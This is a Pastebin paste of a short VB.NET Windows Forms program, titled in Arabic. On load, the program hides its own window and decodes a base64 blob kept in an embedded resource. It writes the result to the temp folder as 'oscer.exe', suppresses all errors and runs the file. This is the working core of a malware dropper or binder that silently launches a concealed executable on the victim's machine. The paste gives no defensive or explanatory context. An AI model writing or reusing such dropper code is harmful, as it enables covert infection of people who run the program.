Advertisement
Guest User

الجوكر المصري

a guest
Jan 29th, 2016
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. Public Class Form1
  2.  
  3. Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
  4. Me.Hide()
  5. 'kraar oscer
  6. Me.Visible = False
  7.  
  8. Dim local As String = IO.Path.GetTempPath & "\oscer.exe"
  9. Dim arquivo As String = My.Resources.TextFile1
  10.  
  11. On Error Resume Next
  12. IO.File.WriteAllBytes(local, Convert.FromBase64String(arquivo))
  13. Process.Start(local)
  14. End Sub
  15.  
  16. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement